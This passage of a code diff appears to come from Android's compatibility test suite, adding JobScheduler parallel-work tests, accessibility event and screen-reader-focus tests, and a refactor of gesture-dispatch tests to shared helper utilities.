+ /**
+ * Test basic enqueueing batches of work that will be executed in parallel.
+ */
+ public void testEnqueueMultipleParallelWork() throws Exception {
+ Intent work1 = new Intent("work1");
+ Intent work2 = new Intent("work2");
+ Intent work3 = new Intent("work3");
+ Intent work4 = new Intent("work4");
+ Intent work5 = new Intent("work5");
+ Intent work6 = new Intent("work6");
+ Intent work7 = new Intent("work7");
+ Intent work8 = new Intent("work8");
+ TestWorkItem[] work = new TestWorkItem[] {
+ new TestWorkItem(work1, TestWorkItem.FLAG_DELAY_COMPLETE_PUSH_BACK),
+ new TestWorkItem(work2, TestWorkItem.FLAG_DELAY_COMPLETE_PUSH_TOP),
+ new TestWorkItem(work3, TestWorkItem.FLAG_DELAY_COMPLETE_PUSH_BACK
+ | TestWorkItem.FLAG_COMPLETE_NEXT),
+ new TestWorkItem(work4, TestWorkItem.FLAG_COMPLETE_NEXT),
+ new TestWorkItem(work5, TestWorkItem.FLAG_DELAY_COMPLETE_PUSH_TOP),
+ new TestWorkItem(work6, TestWorkItem.FLAG_DELAY_COMPLETE_PUSH_TOP),
+ new TestWorkItem(work7, TestWorkItem.FLAG_DELAY_COMPLETE_PUSH_TOP
+ | TestWorkItem.FLAG_COMPLETE_NEXT),
+ new TestWorkItem(work8) };
+ kTestEnvironment.setExpectedExecutions(1);
+ kTestEnvironment.setExpectedWork(work);
+ JobInfo ji = mBuilder.setOverrideDeadline(0).build();
+ mJobScheduler.enqueue(ji, new JobWorkItem(work1));
+ mJobScheduler.enqueue(ji, new JobWorkItem(work2));
+ mJobScheduler.enqueue(ji, new JobWorkItem(work3));
+ mJobScheduler.enqueue(ji, new JobWorkItem(work4));
+ mJobScheduler.enqueue(ji, new JobWorkItem(work5));
+ mJobScheduler.enqueue(ji, new JobWorkItem(work6));
+ mJobScheduler.enqueue(ji, new JobWorkItem(work7));
+ mJobScheduler.enqueue(ji, new JobWorkItem(work8));
+ kTestEnvironment.readyToWork();
+ assertTrue("Job with work enqueued did not fire.",
+ kTestEnvironment.awaitExecution());
+ compareWork(work, kTestEnvironment.getLastReceivedWork());
+ }
+
+ /**
* Test job getting stopped while processing work and that work being redelivered.
*/
public void testEnqueueMultipleRedeliver() throws Exception {
@@ -238,6 +319,61 @@
}
/**
+ * Test job getting stopped while processing work in parallel and that work being redelivered.
+ */
+ public void testEnqueueMultipleParallelRedeliver() throws Exception {
+ Intent work1 = new Intent("work1");
+ Intent work2 = new Intent("work2");
+ Intent work3 = new Intent("work3");
+ Intent work4 = new Intent("work4");
+ Intent work5 = new Intent("work5");
+ Intent work6 = new Intent("work6");
+ TestWorkItem[] initialWork = new TestWorkItem[] {
+ new TestWorkItem(work1),
+ new TestWorkItem(work2, TestWorkItem.FLAG_DELAY_COMPLETE_PUSH_BACK),
+ new TestWorkItem(work3, TestWorkItem.FLAG_DELAY_COMPLETE_PUSH_BACK),
+ new TestWorkItem(work4, TestWorkItem.FLAG_WAIT_FOR_STOP, 1) };
+ kTestEnvironment.setExpectedExecutions(1);
+ kTestEnvironment.setExpectedWaitForStop();
+ kTestEnvironment.setExpectedWork(initialWork);
+ JobInfo ji = mBuilder.setOverrideDeadline(0).build();
+ mJobScheduler.enqueue(ji, new JobWorkItem(work1));
+ mJobScheduler.enqueue(ji, new JobWorkItem(work2));
+ mJobScheduler.enqueue(ji, new JobWorkItem(work3));
+ mJobScheduler.enqueue(ji, new JobWorkItem(work4));
+ kTestEnvironment.readyToWork();
+
+ // Now wait for the job to get to the point where it is processing the last
+ // work and waiting for it to be stopped.
+ assertTrue("Job with work enqueued did not wait to stop.",
+ kTestEnvironment.awaitWaitingForStop());
+
+ // Cause the job to timeout (stop) immediately, and wait for its execution to finish.
+ SystemUtil.runShellCommand(getInstrumentation(), "cmd jobscheduler timeout "
+ + kJobServiceComponent.getPackageName() + " " + ENQUEUE_WORK_JOB_ID);
+ assertTrue("Job with work enqueued did not finish.",
+ kTestEnvironment.awaitExecution());
+ compareWork(initialWork, kTestEnvironment.getLastReceivedWork());
+
+ // Now we are going to add some more work, restart the job, and see if it correctly
+ // redelivers the last work and delivers the new work.
+ TestWorkItem[] finalWork = new TestWorkItem[] {
+ new TestWorkItem(work2, 0, 2), new TestWorkItem(work3, 0, 2),
+ new TestWorkItem(work4, 0, 2), new TestWorkItem(work5), new TestWorkItem(work6) };
+ kTestEnvironment.setExpectedExecutions(1);
+ kTestEnvironment.setExpectedWork(finalWork);
+ mJobScheduler.enqueue(ji, new JobWorkItem(work5));
+ mJobScheduler.enqueue(ji, new JobWorkItem(work6));
+ kTestEnvironment.readyToWork();
+ SystemUtil.runShellCommand(getInstrumentation(), "cmd jobscheduler run "
+ + kJobServiceComponent.getPackageName() + " " + ENQUEUE_WORK_JOB_ID);
+
+ assertTrue("Restarted with work enqueued did not execute.",
+ kTestEnvironment.awaitExecution());
+ compareWork(finalWork, kTestEnvironment.getLastReceivedWork());
+ }
+
+ /**
* Test basic enqueueing batches of work.
*/
public void testEnqueueMultipleUriGrantWork() throws Exception {
diff --git a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityEventTest.java b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityEventTest.java
index aa9db4f..c4d1dda 100644
--- a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityEventTest.java
+++ b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityEventTest.java
@@ -32,7 +32,7 @@
public class AccessibilityEventTest extends TestCase {
/** The number of properties of the {@link AccessibilityEvent} class. */
- private static final int NON_STATIC_FIELD_COUNT = 29;
+ private static final int NON_STATIC_FIELD_COUNT = 31;
/**
* Test that no new fields have been added without updating the
@@ -206,6 +206,8 @@
sentEvent.setMaxScrollY(1);
sentEvent.setScrollX(1);
sentEvent.setScrollY(1);
+ sentEvent.setScrollDeltaX(3);
+ sentEvent.setScrollDeltaY(3);
sentEvent.setToIndex(1);
sentEvent.setScrollable(true);
sentEvent.setAction(AccessibilityNodeInfo.ACTION_ACCESSIBILITY_FOCUS);
@@ -261,6 +263,10 @@
receivedEvent.getScrollX());
assertSame("scrollY has incorect value", expectedEvent.getScrollY(),
receivedEvent.getScrollY());
+ assertSame("scrollDeltaX has incorect value", expectedEvent.getScrollDeltaX(),
+ receivedEvent.getScrollDeltaX());
+ assertSame("scrollDeltaY has incorect value", expectedEvent.getScrollDeltaY(),
+ receivedEvent.getScrollDeltaY());
assertSame("toIndex has incorect value", expectedEvent.getToIndex(),
receivedEvent.getToIndex());
assertSame("scrollable has incorect value", expectedEvent.isScrollable(),
diff --git a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityRecordTest.java b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityRecordTest.java
index 7862cb4..5bf02c8 100644
--- a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityRecordTest.java
+++ b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityRecordTest.java
@@ -35,7 +35,7 @@
public class AccessibilityRecordTest extends AndroidTestCase {
/** The number of properties of the {@link AccessibilityEvent} class. */
- private static final int NON_STATIC_FIELD_COUNT = 22;
+ private static final int NON_STATIC_FIELD_COUNT = 24;
/**
* Test that no new fields have been added without updating the
diff --git a/tests/accessibilityservice/res/layout/accessibility_focus_and_input_focus_sync_test.xml b/tests/accessibilityservice/res/layout/accessibility_focus_and_input_focus_sync_test.xml
index cb3d153..6a7ccf5 100644
--- a/tests/accessibilityservice/res/layout/accessibility_focus_and_input_focus_sync_test.xml
+++ b/tests/accessibilityservice/res/layout/accessibility_focus_and_input_focus_sync_test.xml
@@ -77,6 +77,7 @@
android:id="@+id/secondButton"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
+ android:screenReaderFocusable="true"
android:text="@string/secondButton" />
</LinearLayout>
diff --git a/tests/accessibilityservice/res/xml/stub_gesture_dispatch_a11y_service.xml b/tests/accessibilityservice/res/xml/stub_gesture_dispatch_a11y_service.xml
index 912c9c4..f4f6089 100644
--- a/tests/accessibilityservice/res/xml/stub_gesture_dispatch_a11y_service.xml
+++ b/tests/accessibilityservice/res/xml/stub_gesture_dispatch_a11y_service.xml
@@ -16,9 +16,9 @@
-->
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
- android:description="@string/stub_gesture_dispatch_a11y_service_description"
- android:accessibilityEventTypes="typeAllMask"
- android:accessibilityFeedbackType="feedbackGeneric"
- android:accessibilityFlags="flagDefault"
- android:canPerformGestures="true"
- android:notificationTimeout="0" />
+ android:description="@string/stub_gesture_dispatch_a11y_service_description"
+ android:accessibilityEventTypes="typeAllMask"
+ android:accessibilityFeedbackType="feedbackGeneric"
+ android:accessibilityFlags="flagDefault"
+ android:canPerformGestures="true"
+ android:notificationTimeout="0" />
diff --git a/tests/accessibilityservice/res/xml/stub_magnification_a11y_service.xml b/tests/accessibilityservice/res/xml/stub_magnification_a11y_service.xml
index 110f741..2559392 100644
--- a/tests/accessibilityservice/res/xml/stub_magnification_a11y_service.xml
+++ b/tests/accessibilityservice/res/xml/stub_magnification_a11y_service.xml
@@ -15,10 +15,11 @@
-->
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
- android:accessibilityEventTypes="typeAllMask"
- android:accessibilityFeedbackType="feedbackGeneric"
- android:canRetrieveWindowContent="true"
- android:canRequestTouchExplorationMode="true"
- android:canRequestEnhancedWebAccessibility="true"
- android:canRequestFilterKeyEvents="true"
- android:canControlMagnification="true" />
+ android:accessibilityEventTypes="typeAllMask"
+ android:accessibilityFeedbackType="feedbackGeneric"
+ android:canRetrieveWindowContent="true"
+ android:canRequestTouchExplorationMode="true"
+ android:canRequestEnhancedWebAccessibility="true"
+ android:canRequestFilterKeyEvents="true"
+ android:canControlMagnification="true"
+ android:canPerformGestures="true"/>
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java
index b14b76a..ca9b0b0 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java
@@ -16,6 +16,11 @@
package android.accessibilityservice.cts;
+import static android.accessibilityservice.cts.utils.AsyncUtils.await;
+
+import android.accessibilityservice.AccessibilityServiceInfo;
+import android.accessibilityservice.cts.R;
+import android.accessibilityservice.cts.utils.AsyncUtils;
import android.app.Activity;
import android.app.AlertDialog;
import android.app.Notification;
@@ -30,16 +35,18 @@
import android.test.suitebuilder.annotation.MediumTest;
import android.text.TextUtils;
import android.util.Log;
+import android.view.View;
+import android.view.ViewGroup;
import android.view.accessibility.AccessibilityEvent;
import android.view.accessibility.AccessibilityManager;
import android.widget.Button;
import android.widget.EditText;
import android.widget.ListView;
-import android.accessibilityservice.cts.R;
-
import java.util.Iterator;
import java.util.List;
+import java.util.concurrent.CompletableFuture;
+import java.util.function.Consumer;
/**
* This class performs end-to-end testing of the accessibility feature by
@@ -430,6 +437,67 @@
}
}
+ @MediumTest
+ public void testNotObservedEventTypesNotGeneratedEvent() throws Throwable {
+ // Make sure we get only click events
+ await(updateServiceInfo(info -> info.eventTypes = AccessibilityEvent.TYPE_VIEW_SELECTED));
+ try {
+ AccessibilityManager am = getActivity().getSystemService(AccessibilityManager.class);
+ assertFalse(am.isObservedEventType(AccessibilityEvent.TYPE_ANNOUNCEMENT));
+ assertTrue(am.isObservedEventType(AccessibilityEvent.TYPE_VIEW_SELECTED));
+
+ Runnable triggerEvent = () -> {
+ getActivity().runOnUiThread(() -> {
+ final ListView listView = getActivity().findViewById(R.id.listview);
+ // Enforce only AccessibilityEvents of the observed type are being created
+ listView.getRootView().setAccessibilityDelegate(
+ new View.AccessibilityDelegate() {
+ @Override
+ public boolean onRequestSendAccessibilityEvent(ViewGroup host,
+ View child, AccessibilityEvent event) {
+ assertNotSame("TYPE_ANNOUNCEMENT events shouldn't be fired",
+ AccessibilityEvent.TYPE_ANNOUNCEMENT,
+ event.getEventType());
+ return true;
+ }
+ });
+ listView.announceForAccessibility("Foo");
+ listView.setSelection(1);
+ });
+ };
+ AccessibilityEvent awaitedEvent = getInstrumentation().getUiAutomation()
+ .executeAndWaitForEvent(triggerEvent,
+ event -> event.getEventType() == AccessibilityEvent.TYPE_VIEW_SELECTED,
+ TIMEOUT_ASYNC_PROCESSING);
+ assertNotNull("Did not receive expected event", awaitedEvent);
+ } finally {
+ // Reset to listen to all events
+ updateServiceInfo(info -> info.eventTypes = AccessibilityEvent.TYPES_ALL_MASK);
+ }
+ }
+
+ private CompletableFuture<Void> updateServiceInfo(Consumer<AccessibilityServiceInfo> update) {
+ final UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
+ final AccessibilityServiceInfo info = uiAutomation.getServiceInfo();
+
+ CompletableFuture<Void> result = new CompletableFuture<>();
+ getActivity().getSystemService(AccessibilityManager.class)
+ .addAccessibilityServicesStateChangeListener(
+ new AccessibilityManager.AccessibilityServicesStateChangeListener() {
+ @Override
+ public void onAccessibilityServicesStateChanged(
+ AccessibilityManager a) {
+ result.complete(null);
+ a.removeAccessibilityServicesStateChangeListener(this);
+ }
+ }, null);
+
+ update.accept(info);
+ uiAutomation.setServiceInfo(info);
+
+ return result;
+ }
+
/**
* Compares all properties of the <code>first</code> and the
* <code>second</code>.
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityFocusAndInputFocusSyncTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityFocusAndInputFocusSyncTest.java
index 08e231f..47524c9 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityFocusAndInputFocusSyncTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityFocusAndInputFocusSyncTest.java
@@ -17,8 +17,10 @@
import static android.view.accessibility.AccessibilityNodeInfo.ACTION_ACCESSIBILITY_FOCUS;
import static android.view.accessibility.AccessibilityNodeInfo.ACTION_CLEAR_ACCESSIBILITY_FOCUS;
+import android.app.Instrumentation;
import android.app.UiAutomation;
import android.test.suitebuilder.annotation.MediumTest;
+import android.view.View;
import android.view.accessibility.AccessibilityEvent;
import android.view.accessibility.AccessibilityNodeInfo;
@@ -26,6 +28,7 @@
import java.util.LinkedList;
import java.util.Queue;
+import java.util.concurrent.atomic.AtomicBoolean;
/**
* Test cases for testing the accessibility focus APIs exposed to accessibility
@@ -228,4 +231,29 @@
}
}
}
+
+ public void testScreenReaderFocusableAttribute_reportedToAccessibility() {
+ final Instrumentation instrumentation = getInstrumentation();
+ final UiAutomation uiAutomation = instrumentation.getUiAutomation();
+ final AccessibilityNodeInfo secondButton = uiAutomation.getRootInActiveWindow()
+ .findAccessibilityNodeInfosByText(getString(R.string.secondButton)).get(0);
+ assertTrue("Screen reader focusability not propagated from xml to accessibility",
+ secondButton.isScreenReaderFocusable());
+
+ // Verify the setter and getter work
+ final AtomicBoolean isScreenReaderFocusableAtomic = new AtomicBoolean(false);
+ instrumentation.runOnMainSync(() -> {
+ View secondButtonView = getActivity().findViewById(R.id.secondButton);
+ secondButtonView.setScreenReaderFocusable(false);
+ isScreenReaderFocusableAtomic.set(secondButtonView.isScreenReaderFocusable());
+ });
+
+ assertFalse("isScreenReaderFocusable did not change after value set",
+ isScreenReaderFocusableAtomic.get());
+
+ secondButton.refresh();
+ assertFalse(
+ "Screen reader focusability not propagated to accessibility after calling setter",
+ secondButton.isScreenReaderFocusable());
+ }
}
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDispatchTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDispatchTest.java
index df8c6f3..b0f9218 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDispatchTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDispatchTest.java
@@ -14,6 +14,17 @@
package android.accessibilityservice.cts;
+import static android.accessibilityservice.cts.utils.AsyncUtils.await;
+import static android.accessibilityservice.cts.utils.AsyncUtils.awaitCancellation;
+import static android.accessibilityservice.cts.utils.GestureUtils.add;
+import static android.accessibilityservice.cts.utils.GestureUtils.ceil;
+import static android.accessibilityservice.cts.utils.GestureUtils.click;
+import static android.accessibilityservice.cts.utils.GestureUtils.diff;
+import static android.accessibilityservice.cts.utils.GestureUtils.dispatchGesture;
+import static android.accessibilityservice.cts.utils.GestureUtils.longClick;
+import static android.accessibilityservice.cts.utils.GestureUtils.path;
+import static android.accessibilityservice.cts.utils.GestureUtils.times;
+
import static org.hamcrest.CoreMatchers.allOf;
import static org.hamcrest.CoreMatchers.any;
import static org.hamcrest.CoreMatchers.both;
@@ -21,6 +32,8 @@
import static org.hamcrest.CoreMatchers.hasItem;
import static org.hamcrest.MatcherAssert.assertThat;
+import static java.util.concurrent.TimeUnit.MILLISECONDS;
+
import android.accessibilityservice.AccessibilityService;
import android.accessibilityservice.GestureDescription;
import android.accessibilityservice.GestureDescription.StrokeDescription;
@@ -28,17 +41,16 @@
import android.content.pm.PackageManager;
import android.graphics.Matrix;
import android.graphics.Path;
-import android.graphics.Point;
import android.graphics.PointF;
import android.os.Bundle;
import android.os.SystemClock;
import android.test.ActivityInstrumentationTestCase2;
-import android.util.DisplayMetrics;
import android.view.MotionEvent;
import android.view.View;
import android.view.ViewConfiguration;
import android.view.WindowManager;
import android.widget.TextView;
+
import org.hamcrest.Description;
import org.hamcrest.Matcher;
import org.hamcrest.TypeSafeMatcher;
@@ -72,7 +84,6 @@
final List<MotionEvent> mMotionEvents = new ArrayList<>();
StubGestureAccessibilityService mService;
MyTouchListener mMyTouchListener = new MyTouchListener();
- MyGestureCallback mCallback;
TextView mFullScreenTextView;
int[] mViewLocation = new int[2];
boolean mGotUpEvent;
@@ -107,7 +118,6 @@
mService = StubGestureAccessibilityService.enableSelf(getInstrumentation());
mMotionEvents.clear();
- mCallback = new MyGestureCallback();
mGotUpEvent = false;
}
@@ -126,10 +136,8 @@
return;
}
- Point clickPoint = new Point(10, 20);
- GestureDescription click = createClickInViewBounds(clickPoint);
- mService.runOnServiceSync(() -> mService.doDispatchGesture(click, mCallback, null));
- mCallback.assertGestureCompletes(GESTURE_COMPLETION_TIMEOUT);
+ PointF clickPoint = new PointF(10, 20);
+ dispatch(clickWithinView(clickPoint), GESTURE_COMPLETION_TIMEOUT);
waitForMotionEvents(any(MotionEvent.class), 2);
assertEquals(2, mMotionEvents.size());
@@ -161,10 +169,8 @@
return;
}
- Point clickPoint = new Point(10, 20);
- GestureDescription longClick = createLongClickInViewBounds(clickPoint);
- mService.runOnServiceSync(() -> mService.doDispatchGesture(longClick, mCallback, null));
- mCallback.assertGestureCompletes(
+ PointF clickPoint = new PointF(10, 20);
+ dispatch(longClickWithinView(clickPoint),
ViewConfiguration.getLongPressTimeout() + GESTURE_COMPLETION_TIMEOUT);
waitForMotionEvents(any(MotionEvent.class), 2);
@@ -183,13 +189,12 @@
return;
}
- Point startPoint = new Point(10, 20);
- Point endPoint = new Point(20, 40);
+ PointF startPoint = new PointF(10, 20);
+ PointF endPoint = new PointF(20, 40);
int gestureTime = 500;
- GestureDescription swipe = createSwipeInViewBounds(startPoint, endPoint, gestureTime);
- mService.runOnServiceSync(() -> mService.doDispatchGesture(swipe, mCallback, null));
- mCallback.assertGestureCompletes(gestureTime + GESTURE_COMPLETION_TIMEOUT);
+ dispatch(swipeWithinView(startPoint, endPoint, gestureTime),
+ gestureTime + GESTURE_COMPLETION_TIMEOUT);
waitForMotionEvents(IS_ACTION_UP, 1);
int numEvents = mMotionEvents.size();
@@ -206,30 +211,31 @@
assertTrue(moveEvent.getEventTime() >= lastEventTime);
float fractionOfSwipe =
((float) (moveEvent.getEventTime() - downEvent.getEventTime())) / gestureTime;
- float fractionX = ((float) (endPoint.x - startPoint.x)) * fractionOfSwipe + 0.5f;
- float fractionY = ((float) (endPoint.y - startPoint.y)) * fractionOfSwipe + 0.5f;
- Point intermediatePoint = new Point(startPoint);
- intermediatePoint.offset((int) fractionX, (int) fractionY);
+ PointF intermediatePoint = add(startPoint,
+ ceil(times(fractionOfSwipe, diff(endPoint, startPoint))));
assertThat(moveEvent, both(IS_ACTION_MOVE).and(isAtPoint(intermediatePoint)));
lastEventTime = moveEvent.getEventTime();
}
}
+ public void dispatch(GestureDescription gesture, int timeoutMs) {
+ await(dispatchGesture(mService, gesture), timeoutMs, MILLISECONDS);
+ }
+
public void testSlowSwipe_shouldNotContainMovesForTinyMovement() throws InterruptedException {
if (!mHasTouchScreen) {
return;
}
- Point startPoint = new Point(10, 20);
- Point intermediatePoint1 = new Point(10, 21);
- Point intermediatePoint2 = new Point(11, 21);
- Point intermediatePoint3 = new Point(11, 22);
- Point endPoint = new Point(11, 22);
+ PointF startPoint = new PointF(10, 20);
+ PointF intermediatePoint1 = new PointF(10, 21);
+ PointF intermediatePoint2 = new PointF(11, 21);
+ PointF intermediatePoint3 = new PointF(11, 22);
+ PointF endPoint = new PointF(11, 22);
int gestureTime = 1000;
- GestureDescription swipe = createSwipeInViewBounds(startPoint, endPoint, gestureTime);
- mService.runOnServiceSync(() -> mService.doDispatchGesture(swipe, mCallback, null));
- mCallback.assertGestureCompletes(gestureTime + GESTURE_COMPLETION_TIMEOUT);
+ dispatch(swipeWithinView(startPoint, endPoint, gestureTime),
+ gestureTime + GESTURE_COMPLETION_TIMEOUT);
waitForMotionEvents(IS_ACTION_UP, 1);
assertEquals(5, mMotionEvents.size());
@@ -245,16 +251,14 @@
return;
}
- Point centerPoint = new Point(50, 60);
+ PointF centerPoint = new PointF(50, 60);
int startSpacing = 100;
int endSpacing = 50;
int gestureTime = 500;
float pinchTolerance = 2.0f;
- GestureDescription pinch = createPinchInViewBounds(centerPoint, startSpacing,
- endSpacing, 45.0F, gestureTime);
- mService.runOnServiceSync(() -> mService.doDispatchGesture(pinch, mCallback, null));
- mCallback.assertGestureCompletes(gestureTime + GESTURE_COMPLETION_TIMEOUT);
+ dispatch(pinchWithinView(centerPoint, startSpacing, endSpacing, 45.0F, gestureTime),
+ gestureTime + GESTURE_COMPLETION_TIMEOUT);
waitForMotionEvents(IS_ACTION_UP, 1);
int numEvents = mMotionEvents.size();
@@ -313,13 +317,10 @@
magRegionCenterPoint.set(magnificationController.getCenterX(),
magnificationController.getCenterY());
});
- final PointF magRegionOffsetPoint = new PointF();
- magRegionOffsetPoint.set(magRegionCenterPoint);
- magRegionOffsetPoint.offset(CLICK_OFFSET_X, CLICK_OFFSET_Y);
+ final PointF magRegionOffsetPoint
+ = add(magRegionCenterPoint, CLICK_OFFSET_X, CLICK_OFFSET_Y);
- final PointF magRegionOffsetClickPoint = new PointF();
- magRegionOffsetClickPoint.set(magRegionCenterPoint);
- magRegionOffsetClickPoint.offset(
+ final PointF magRegionOffsetClickPoint = add(magRegionCenterPoint,
CLICK_OFFSET_X * MAGNIFICATION_FACTOR, CLICK_OFFSET_Y * MAGNIFICATION_FACTOR);
try {
@@ -331,16 +332,16 @@
assertTrue("Failed to set scale", setScale.get());
// Click in the center of the magnification region
- GestureDescription magRegionCenterClick = createClick(magRegionCenterPoint);
- mService.runOnServiceSync(() -> mService.doDispatchGesture(
- magRegionCenterClick, mCallback, null));
- mCallback.assertGestureCompletes(GESTURE_COMPLETION_TIMEOUT);
+ dispatch(new GestureDescription.Builder()
+ .addStroke(click(magRegionCenterPoint))
+ .build(),
+ GESTURE_COMPLETION_TIMEOUT);
// Click at a slightly offset point
- GestureDescription magRegionOffsetClick = createClick(magRegionOffsetClickPoint);
- mService.runOnServiceSync(() -> mService.doDispatchGesture(
- magRegionOffsetClick, mCallback, null));
- mCallback.assertGestureCompletes(GESTURE_COMPLETION_TIMEOUT);
+ dispatch(new GestureDescription.Builder()
+ .addStroke(click(magRegionOffsetClickPoint))
+ .build(),
+ GESTURE_COMPLETION_TIMEOUT);
waitForMotionEvents(any(MotionEvent.class), 4);
} finally {
// Reset magnification
@@ -376,30 +377,25 @@
return;
}
- Point start = new Point(10, 20);
- Point mid1 = new Point(20, 20);
- Point mid2 = new Point(20, 25);
- Point end = new Point(20, 30);
+ PointF start = new PointF(10, 20);
+ PointF mid1 = new PointF(20, 20);
+ PointF mid2 = new PointF(20, 25);
+ PointF end = new PointF(20, 30);
int gestureTime = 500;
StrokeDescription s1 = new StrokeDescription(
- linePathInViewBounds(start, mid1), 0, gestureTime, true);
+ lineWithinView(start, mid1), 0, gestureTime, true);
StrokeDescription s2 = s1.continueStroke(
- linePathInViewBounds(mid1, mid2), 0, gestureTime, true);
+ lineWithinView(mid1, mid2), 0, gestureTime, true);
StrokeDescription s3 = s2.continueStroke(
- linePathInViewBounds(mid2, end), 0, gestureTime, false);
+ lineWithinView(mid2, end), 0, gestureTime, false);
+
GestureDescription gesture1 = new GestureDescription.Builder().addStroke(s1).build();
GestureDescription gesture2 = new GestureDescription.Builder().addStroke(s2).build();
GestureDescription gesture3 = new GestureDescription.Builder().addStroke(s3).build();
-
- mService.runOnServiceSync(() -> mService.doDispatchGesture(gesture1, mCallback, null));
- mCallback.assertGestureCompletes(gestureTime + GESTURE_COMPLETION_TIMEOUT);
- mCallback.reset();
- mService.runOnServiceSync(() -> mService.doDispatchGesture(gesture2, mCallback, null));
- mCallback.assertGestureCompletes(gestureTime + GESTURE_COMPLETION_TIMEOUT);
- mCallback.reset();
- mService.runOnServiceSync(() -> mService.doDispatchGesture(gesture3, mCallback, null));
- mCallback.assertGestureCompletes(gestureTime + GESTURE_COMPLETION_TIMEOUT);
+ dispatch(gesture1, gestureTime + GESTURE_COMPLETION_TIMEOUT);
+ dispatch(gesture2, gestureTime + GESTURE_COMPLETION_TIMEOUT);
+ dispatch(gesture3, gestureTime + GESTURE_COMPLETION_TIMEOUT);
waitForMotionEvents(IS_ACTION_UP, 1);
assertThat(mMotionEvents.get(0), allOf(IS_ACTION_DOWN, isAtPoint(start)));
@@ -415,25 +411,24 @@
return;
}
- Point startPoint = new Point(10, 20);
- Point midPoint = new Point(20, 20);
- Point endPoint = new Point(20, 30);
+ PointF startPoint = new PointF(10, 20);
+ PointF midPoint = new PointF(20, 20);
+ PointF endPoint = new PointF(20, 30);
int gestureTime = 500;
- StrokeDescription stroke1 = new StrokeDescription(
- linePathInViewBounds(startPoint, midPoint), 0, gestureTime, true);
- GestureDescription gesture1 = new GestureDescription.Builder().addStroke(stroke1).build();
- mService.runOnServiceSync(() -> mService.doDispatchGesture(gesture1, mCallback, null));
- mCallback.assertGestureCompletes(gestureTime + GESTURE_COMPLETION_TIMEOUT);
+ StrokeDescription stroke1 =
+ new StrokeDescription(lineWithinView(startPoint, midPoint), 0, gestureTime, true);
+ dispatch(new GestureDescription.Builder().addStroke(stroke1).build(),
+ gestureTime + GESTURE_COMPLETION_TIMEOUT);
waitForMotionEvents(both(IS_ACTION_MOVE).and(isAtPoint(midPoint)), 1);
- StrokeDescription stroke2 = stroke1.continueStroke(
- linePathInViewBounds(endPoint, midPoint), 0, gestureTime, false);
- GestureDescription gesture2 = new GestureDescription.Builder().addStroke(stroke2).build();
- mCallback.reset();
+ StrokeDescription stroke2 =
+ stroke1.continueStroke(lineWithinView(endPoint, midPoint), 0, gestureTime, false);
mMotionEvents.clear();
- mService.runOnServiceSync(() -> mService.doDispatchGesture(gesture2, mCallback, null));
- mCallback.assertGestureCancels(gestureTime + GESTURE_COMPLETION_TIMEOUT);
+ awaitCancellation(
+ dispatchGesture(mService,
+ new GestureDescription.Builder().addStroke(stroke2).build()),
+ gestureTime + GESTURE_COMPLETION_TIMEOUT, MILLISECONDS);
waitForMotionEvents(IS_ACTION_CANCEL, 1);
assertEquals(1, mMotionEvents.size());
@@ -444,23 +439,20 @@
return;
}
- Point startPoint = new Point(10, 20);
- Point midPoint = new Point(20, 20);
- Point endPoint = new Point(20, 30);
+ PointF startPoint = new PointF(10, 20);
+ PointF midPoint = new PointF(20, 20);
+ PointF endPoint = new PointF(20, 30);
int gestureTime = 500;
- StrokeDescription stroke1 = new StrokeDescription(
- linePathInViewBounds(startPoint, midPoint), 0, gestureTime, true);
- GestureDescription gesture1 = new GestureDescription.Builder().addStroke(stroke1).build();
- mService.runOnServiceSync(() -> mService.doDispatchGesture(gesture1, mCallback, null));
- mCallback.assertGestureCompletes(gestureTime + GESTURE_COMPLETION_TIMEOUT);
+ StrokeDescription stroke1 =
+ new StrokeDescription(lineWithinView(startPoint, midPoint), 0, gestureTime, true);
+ dispatch(new GestureDescription.Builder().addStroke(stroke1).build(),
+ gestureTime + GESTURE_COMPLETION_TIMEOUT);
- StrokeDescription stroke2 = new StrokeDescription(
- linePathInViewBounds(midPoint, endPoint), 0, gestureTime, false);
- GestureDescription gesture2 = new GestureDescription.Builder().addStroke(stroke2).build();
- mCallback.reset();
- mService.runOnServiceSync(() -> mService.doDispatchGesture(gesture2, mCallback, null));
- mCallback.assertGestureCompletes(gestureTime + GESTURE_COMPLETION_TIMEOUT);
+ StrokeDescription stroke2 =
+ new StrokeDescription(lineWithinView(midPoint, endPoint), 0, gestureTime, false);
+ dispatch(new GestureDescription.Builder().addStroke(stroke2).build(),
+ gestureTime + GESTURE_COMPLETION_TIMEOUT);
waitForMotionEvents(IS_ACTION_UP, 1);
@@ -479,20 +471,20 @@
return;
}
- Point startPoint = new Point(10, 20);
- Point midPoint = new Point(20, 20);
- Point endPoint = new Point(20, 30);
+ PointF startPoint = new PointF(10, 20);
+ PointF midPoint = new PointF(20, 20);
+ PointF endPoint = new PointF(20, 30);
int gestureTime = 500;
- StrokeDescription stroke1 = new StrokeDescription(
- linePathInViewBounds(startPoint, midPoint), 0, gestureTime, true);
+ StrokeDescription stroke1 =
+ new StrokeDescription(lineWithinView(startPoint, midPoint), 0, gestureTime, true);
